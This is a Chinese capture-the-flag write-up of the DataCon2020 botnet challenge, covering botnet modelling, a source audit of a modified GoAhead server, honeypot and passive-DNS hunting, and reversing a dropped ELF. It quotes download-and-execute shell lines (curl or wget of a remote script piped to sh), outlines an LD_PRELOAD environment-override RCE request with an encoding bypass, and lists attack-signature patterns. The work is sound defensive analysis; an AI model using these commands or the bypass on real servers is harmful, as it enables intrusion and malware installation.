DataCon2020 今年由于精力有限仅做了botnet方向,该方向共四题。本文为第一题的writeup。此题考察能力全面,汇集了代码审计、样本分析、数据分析等知识点,且需要选手对botnet运行机制的深入理解,贴近实战场景,个人认为是最有趣的一题,分享给各位。
https[:]//zhuanlan[.]zhihu[.]com/p/186254809
目录
- 原题信息
- 背景
- 数据说明
- 初步理解
- Botnet建模
- Botnet常规模型
- 哪些阶段会触发DNS流量?
- 蜜罐的攻击流量来自谁?
- XGoAhead是什么鬼?
- 传播模型
- 解题过程
- 假设
- 岔路排除
- 蜜罐HTTP数据探索
- 已修复的GoAhead漏洞
- XGoAhead源码审计
- RCE 初步分析
- RCE payload挖掘
- 样本逆向分析
- 域名访问拓扑分析
- 继续样本分析
- 总结
- 复盘与建议
- 公有云Botnet检测延伸阅读
- 工具
- 致谢
1. 原题信息
1.1 背景
Datacon Software是一家以IoT产品开发为主要业务的公司,他们在开源的GoAhead web服务器的基础上定制了一款名为XGoAhead的Web server使用在自己的产品中,2022年冬奥会的筹备工作批量采购了Datacon Software的产品。某天冬奥筹委会收到外部安全机构反馈: 公网上有大量使用XGoAhead的设备被某个不知名的僵尸网络感染,为了防范,现在你需要调查这个僵尸网络并尽可能的找到被感染的IP。
1.2 数据说明
目前提供的数据如下:
- XGoAhead最新版本源码
- 公网Web蜜罐数据
- Passive DNS数据
提供的XGoAhead软件代码只能运行在Linux操作系统上且须使用make工具构建,推荐使用Ubuntu 18.04或Centos 7。
提供的公网Web蜜罐数据仅为蜜罐服务器接收到的来自公网的流量,远不能覆盖整个互联网的情况,仅为观测样本。
提供的Passive DNS数据仅为小范围Client IP的数据,远不能覆盖整个互联网的情况,仅为观测样本。
2. 初步理解
题目给出的线索如下:
- “GoAhead”是个真实的IoT web服务,代码开源。
- 主办方基于此二次开发了一个名为”XGoAhead”的软件,已给出源码。
- 这个软件存在漏洞,被僵尸网络攻陷。
- 目前有一份DNS数据,一份蜜罐数据。
- 目标是在数据中挖掘出全部被botnet攻陷的机器IP。
首先想到两个问题:
- DNS数据可以理解为全网DNS的一个采样;HTTP数据来自蜜罐,经探索后发现全部是各种攻击流量,无正常流量,这两份数据怎么用?
- 为何要给出源码,是否要做代码审计挖掘漏洞?
回答这个问题需要对僵尸网络的运行模式有一定理解。
3. Botnet建模
3.1 Botnet常规模型
一般情况下,botnet分以下几部分运行:
- 初始入侵:如通过RCE漏洞、SSH爆破、Redis未授权访问等打入服务器。
- 载荷投递:server被攻陷之后,会执行黑客预定的命令从Script Server下载恶意脚本/文件并执行,如此一个正常的Server就有了botnet的功能。
- 中控通信:被感染的服务器会连接黑客的”中控服务器(Control & Command Server)”进行上线,并接收指令(P2P暂不考虑)。
- 蠕虫传播:宿主机被感染后所植入的恶意文件会自带一些攻击模块,并自动开始对内网/公网机器发起蠕虫攻击,感染更多的服务器成为botnet的一部分。
- 攻击:黑客或通过中控批量对botnet的节点下发指令,对某一目标发起DDoS攻击。
本题目标即是使用有限的数据来hunt botnet感染者,那么我们从出题人给的线索开始建构。
3.2 哪些阶段会触发DNS流量?
如下图红色部分所示,botnet分别会在2、3、5阶段触发DNS请求:
- 第2步:下载脚本执行时,会通过 curl http://domain.com/evil.sh | sh 触发DNS请求。
- 第3步:bot上线时,有可能通过域名的方式连接中控。
- 第5步:botnet有可能会发起DNS协议的DDoS攻击。
3.3 蜜罐的攻击流量来自谁?
题目中的蜜罐是真实部署在公网空间的,只能采集到很少一部分botnet的攻击流量,如下图所示:
在第1阶段黑客通过RCE漏洞批量攻击server抓鸡,和第4阶段被攻陷到bot利用RCE漏洞横向传播时,由于botnet传播是批量扫描行为,一部分HTTP攻击流量有可能被蜜罐捕获。
3.4 XGoAhead是什么鬼?
我们知道GoAhead是一个真实的IoT Web服务,并且真实的存在过RCE漏洞和botnet攻击事件:
- [《新威胁报告:一个新IoT僵尸网络正在 HTTP 81上大范围传播》]https[:]//blog[.]netlab[.]360.com/a-new-threat-an-iot-botnet-scanning-internet-on-port-81-ch/
这个”XGoAhead”是主办方的二次开发版。因此不难假设,本题蜜罐捕获的HTTP流量中,就是针对这个XGoAhead WEB RCE的攻击流量,botnet就是利用这个漏洞进行传播。
3.5 传播模型
首先attacker和已感染的botnet通过XGoAhead RCE进行传播,攻陷更多机器,这些机器被攻陷后在脚本下载阶段、bot上线阶段、DDoS攻击阶段触发DNS请求。
在此模型中,HTTP攻击者IP和DNS发起者IP即是本题答案。
目前我们已经将题目的三个线索串了起来,要注意的是以上每一步均是经验假设,需要一一验证。
4. 解题过程
4.1 假设
基于以上思路,对每个阶段进行数据探索并验证假设,拆分出的action有:
- 针对第1、4步:基于XGoAhead源码分析漏洞,提取漏洞利用特征,从honeypot HTTP流量中匹配到这部分攻击流量。
- 针对第5步:直接分析DNS数据挖掘是否有随机子域名DDoS或其他DNS攻击行为。
- 针对第2步:直接从全量HTTP流量中提取出payload中包含的域名,并与DNS数据进行关联。
- 针对第3步:判断直接从DNS数据中挖掘中控域名可行性较小,因此倾向于先做第1、2、4的过程,在样本或payload中分析出bot上线域名。
4.2 岔路排除
首先通过对DNS数据的分析(复用了一下去年做DNS题的代码和思路: [Data2019 Writeup](https://www[.]cdxy[.]me/?p=806)),逐级抽取子域名并进行统计,未发现攻击痕迹,第5步的假设排除。
之后我们通过类似Hadoop UDF的形式,从全量HTTP蜜罐数据进行URL、Base64的识别与解码,抽取出域名并关联DNS日志,未发现有效关系对。
接下来,重点回归到HTTP RCE payload的分析。
探索
题目里说该IoT设备是一个 GoAhead Web Server,寻找与之相关的nday
- https[:]//blog[.]csdn[.]net/Amdy_amdy/article/details/82852362
- https[:]//www[.]freebuf[.]com/vuls/158089.html
- https[:]//www[.]dazhuanlan[.]com/2019/09/25/5d8a81f3b3a43/
- https[:]//github[.]com/vulhub/vulhub/tree/master/goahead/CVE-2017-17562
- https[:]//www[.]elttam[.]com//blog/goahead/#content
其他识别出的漏洞:
1. D-Link路由器漏洞 https[:]//www[.]cnblogs[.]com/HacTF/p/8052279.html
2. D-Link DIR-823G v1.02 B05命令注入漏洞
https[:]//blog[.]csdn[.]net/zzgslh/article/details/105214670
3. JBOSS /invoker/JMXInvokerServlet漏洞利用
https[:]//www[.]cnblogs[.]com/devi1o/articles/5785249.html
4. ThinkPHP5 rce漏洞
https[:]//blog[.]csdn[.]net/whatday/article/details/107446276
5. Narcissus远程命令执行漏洞
https[:]//www[.]linuxidc[.]com/Linux/2012-12/75334.htm
6. Nagios statuswml.cgi远程Shell命令注入漏洞
https[:]//www[.]uedbox[.]com/shdb/61886/
https[:]//blog[.]csdn[.]net/cnbird2008/article/details/4296931
我们发现蜜罐捕获的攻击流量很多,很多是来自互联网的扫描攻击:
-- 存在疑似漏洞的http请求
select
url,
count(1) as cn
from honeypot_http_log
where
url not rlike
CONCAT(
-- black
"echo >NiGGeR|",
"Account\\.User1\\.Password>\\$\\(|"
"shell_exec\\(|",
"busybox.*?wget.*?\\./|",
"invokefunction&function=call_user_func_array|",
"content=|",
"/language/Swedish\\$\\{IFS\\}|",
"/model/__show_info\\.php\\?REQUIRE_FILE=|",
"wget( |\\+)|",
"/shellinvoker/shellinvoker\\.jsp|",
"/invoker/JMXInvokerServlet|",
"/jbossass/jbossass\\.jsp|",
"certutil\\.exe|",
"\\\\think\\\\template\\\\driver\\\\file/write&cacheFile|",
"<\\?php|",
"FxCodeShell\\.jsp|",
"<%@|",
"shell\\.jsp|",
"java\\.lang\\.System|"
-- white
"CHANGELOG\\.txt|",
"snapshot\\.cgi"
)
and LENGTH(url) >= 32
group by url
order by cn desc limit 99999999
;
4.4 已修复的GoAhead漏洞
而后我们关注到GoAhead在2017年的真实漏洞,它的攻击payload如下:
method: POST
uri: cgi-bin/cgitest?LD_PRELOAD=/proc/self/fd/0
post data: \x7fELF\x02\x01\x01\x00\x00\x00\x00\x00\x00...
POST data字段是一个ELF文件,cgi接口会从url中解析并覆盖环境变量,因此在data段中的ELF文件会被/proc/self/fd/0读取,并覆盖LD_PRELOAD完成RCE利用。
我们从蜜罐日志中发现了这种漏洞利用的流量,捞出攻击者IP,提交并未得分。
打开主办方提供的XGoAhead源码,将其于原版GoAhead代码进行diff,看看主办方二次开发修改了哪里。
4.5 XGoAhead源码审计
按照传统的代码审计思路,找到WEB路由解析逻辑,我们看到HTTP蜜罐捕获的数据是攻击了/cgi-bin路径,其handler是cgi,同时发现主办方定义了一个新的route path: /xcgi,由另一个handler xcgi实现。
跟进cgi handler,发现官方原版有一个patch,主办方并未修改,因此确认17年这个RCE已经无法利用:
而在主办方实现的xcgi handler中,针对这个问题他自己实现了另一种patch逻辑:
这里的问题是 wp->query 仅过滤了URI字段,从其他位置如POST data传入的环境变量信息仍可被覆盖。
4.6 RCE 初步分析
我们搭建换件验证了这一思路:
编译源码
make
make --no-print-directory -f /root/xgoahead/projects/xgoahead-linux-default.mk all
xgoahead -v --home /etc/xgoahead /var/www/xgoahead
在URI字段打2017 RCE,发现回显被block,之后尝试通过POST data字段覆盖环境变量
成功覆盖:
但是有一个问题是,如果用post来传递环境变量参数,post就不能用来传递ELF文件的二进制流了。如何构造RCE payload仍是一个问题。
4.7 RCE payload挖掘
目前已知了漏洞的利用方式,即可以通过post字段继续覆盖环境变量,我们打算根据已有特征到数据中搜索可行的payload,特征有三:
- payload中包含Linux环境变量。
- 报文中有可能出现ELF二进制流。
- 源码中存在漏洞的路由为/xcgi。
通过where条件搜索,首先排除了第三项,即HTTP流量中没有这个URI的访问记录,推测管理员在部署的时候自定义了route路径。
继续验证方向1,在全量HTTP报文中搜索Linux环境变量,正则:
where concat(uri,host,post_data) rlike '\\b[A-Z_]{7,}\\b'
结果人工check后无有效payload。
继续验证方向2:在全量HTTP报文中搜索ELF二进制流:
发现除了2017 GoAhead RCE之外,还有一类流量中出现这个特征,其报文如下:
URI: admin/login.cgi
POST Data:
----------------------------70089496549461931699051
Content-Disposition: form-data; name="f"; filename="2.elf"
Content-Type: application/octet-stream
\x7fELF\x01\x01\x01\x00\x00\x00\x00\x00...
----------------------------700894965494619316990515
Content-Disposition: form-data; name="%4cD%5f%50%52E%4c%4f%41D"
tmp/tmp-0.tmp tmp/tmp-1.tmp tmp/tmp-2.tmp....
----------------------------700894965494619316990515--
通过人工分析发现,postdata字段同时出现 ELF 和 被编码字符串 name=”%4cD%5f%50%52E%4c%4f%41D” 。
定睛一看,这就是LD_PRELOAD。这个编码着实狡猾,绕过了之前的规则,这也提醒了做题还是要细心,先解码再匹配。
提交攻击IP,验证成功。
4.8 样本逆向分析
目前我们已经确定XGoAhead到漏洞利用方式,并于蜜罐流量中捞出了攻击者IP。
接下来,分析他上传的ELF有什么行为,我们打开那个十几万的女人开始分析:
需要关注的函数在这里:
g_enc_table是一个数组,有3个元素,分别是:
- Here!
- \xC5\xC6\x82\x91\xD6\xCF\xD2\x9D\xD9\xC9\xC7\xD6\x82\xCA\xD6\xD6\xD2\x9C\x91\x91\xC7\xDA\xC7\xC5\x90\xC6\xD6\xC6\xD6\xC6\xD6\x90\xCB\xD0\xC8\xD1\x91\xC6\x90\xD5\xCA\x9D\xC5\xCA\xCF\xD1\xC6\x82\x99\x99\x99\x82\xC6\x90\xD5\xCA\x9D\x90\x91\xC6\x90\xD5\xCA
- \xAE\xA6\xC1\xB2\xB4\xA7\xAE\xB1\xA3\xA6
我们将解密函数用python实现并解密后两个数据:
# -*- coding: utf-8 -*-
g_enc_table_1 = "\xC5\xC6\x82\x91\xD6\xCF\xD2\x9D\xD9\xC9\xC7\xD6\x82\xCA\xD6\xD6\xD2\x9C\x91\x91\xC7\xDA\xC7\xC5\x90\xC6\xD6\xC6\xD6\xC6\xD6\x90\xCB\xD0\xC8\xD1\x91\xC6\x90\xD5\xCA\x9D\xC5\xCA\xCF\xD1\xC6\x82\x99\x99\x99\x82\xC6\x90\xD5\xCA\x9D\x90\x91\xC6\x90\xD5\xCA"
g_enc_table_2 = "\xAE\xA6\xC1\xB2\xB4\xA7\xAE\xB1\xA3\xA6"
def sub_5C4(input_str):
str = ""
for c in input_str:
str += chr(ord(c) - 98)
return str
if __name__ == '__main__':
print sub_5C4(g_enc_table_1)
print sub_5C4(g_enc_table_2)
解码后分别为:
cd /tmp;wget http[:]//exec[.]dtdtdt[.]info/d.sh;chmod 777 d.sh;./d.sh
LD_PRELOAD
发现域名,在DNS数据中查询exec.dtdtdt.info,命中答案。但是分数并未拿完。
4.9 域名访问拓扑分析
目前发现了一些攻击者IP和一个答案域名,我们已经验证了一些思路:
- 1和4 的漏洞利用流量已成功确认。
- 2的脚本投递,已发现恶意域名确认。
- 5经数据分析验证,已排除。
目前只剩下3待验证,我们假设被感染的机器会同时执行2下载 和 3上线的行为,那么我们只需要通过2中得到的botnet IP,看看他们都共同连了什么域名,就可以找到3的C&C上线域名。
数据分析的结果揭示了 exec[.]dtdtdt[.]info的另一兄弟域名 control[.]dtdtdt[.]info,届此,五个阶段全部验证完毕。
4.10 继续样本分析
我们已经验证了全部的假设,使用了全部的线索,但距离满分还差一段。
进度一度停滞。
直到另一个同学通过同样的思路分析ELF样本时,发现逆出来的上线域名竟然与之前的结论不一致!
在我们蜜罐HTTP数据分析过程中,我们发现每个攻击IP打出了多个payload,而每个payload里面上传的文件分别为 1.elf 2.elf 3.elf 4.elf
当时提取了四种name的elf本地发现byte大小一致,以为是一样的就只分析了一个。
md5一看,果然还是草率了。
xy@x-8 ~/D/datacon> md5 elf_1
MD5 (elf_1) = d08b638fdafac0c1ebbdcad05d5c2fcb
xy@x-8 ~/D/datacon> md5 elf_2
MD5 (elf_2) = 56ec8709c083963e208faec59d2b41e1
xy@x-8 ~/D/datacon> md5 elf_3
MD5 (elf_3) = 7006ae30aedeb0e423a86cb50914d45c
xy@x-8 ~/D/datacon> md5 elf_4
MD5 (elf_4) = 695da36ee841a57df84a473cb821710e
把4个样本重新逆了一遍,又发现另一个域名kfckiller.cc 。
最终三个域名如下,洗出访问他们的IP,再加上蜜罐HTTP payload攻击源IP共40个,为最终满分答案。
select * from passive_dns_data
where dns in (
"exec[.]kfckiller[.]cc",
"exec[.]dtdtdt[.]info",
"control[.]dtdtdt[.]info"
)
;
5. 总结
5.1 复盘与建议
- 真实解题过程要比writeup复杂的多,有很多岔路验证后被排除。
- 说好的数据分析,最后变成了代码审计和二进制分析哈。不过数据上的事也没少做,主要是用来排除错误的假设。
- 对botnet的理解更重要,其实但从Mirai模型已经能对此题建模。
- 再加个attack阶段啊这题就完整了,DNS Flood!
总之是非常有趣的一题。
5.2 公有云Botnet检测延伸阅读
在云服务商视角,我们观测到的botnet中大部分省略了4和5的过程,server被RCE漏洞攻破后,大部分通过执行curl evil[.]com/1.sh | sh 的指令下发恶意脚本,脚本通过运行挖矿程序进行变现。
从云服务商的视角来看,我们对云上资产有完善的EDR产品和WAF/防火墙产品,这些产品提供了完整的端日志和流量日志,大体工作流程如下:
基于这些日志和长期安全能力的建设,在云服务器被botnet感染时,我们有多个视角可以检测到这种行为,包括但不限于:
- 漏洞攻击/暴力破解成功的检测。
- 外联恶意IP或域名,下载文件的检测。
- 各种二进制、脚本文件查杀技术。
- 日志行为审计。
- 威胁情报。
《2019年云上挖矿僵尸网络趋势报告》https[:]//www[.]freebuf[.]com/articles/paper/226605.html
我们今年在BlackHat Asia中将会提到与Botnet博弈过程中的自动化0day监控技术:
https[:]//www[.]blackhat[.]com/asia-20/briefings/schedule/#win-the–day-racing-game-against-botnet-in-public-cloud-1840018400
回到本题,题中只提供了蜜罐HTTP数据和DNS数据,在有限的条件下做hunting,在做题的过程中管中窥豹地体验了奇安信式蜜罐+DNS的hunting模式,加深了对botnet的理解(对360netlab blog的理解)。
5.3 工具
本次题目分析所用工具及服务:
- 大数据批处理:ODPS(MaxCompute)
- 大数据实时查询分析:日志服务(Loghub)
- 算法平台与数据分析流式编排:机器学习平台(PAI)
- IDA
- Python
5.4 致谢
@fullway
原文始发于cdxy, LittleHann from 阿里云安全:DataCon2020优秀解题思路分享:僵尸网络方向第一题(阿里云安全)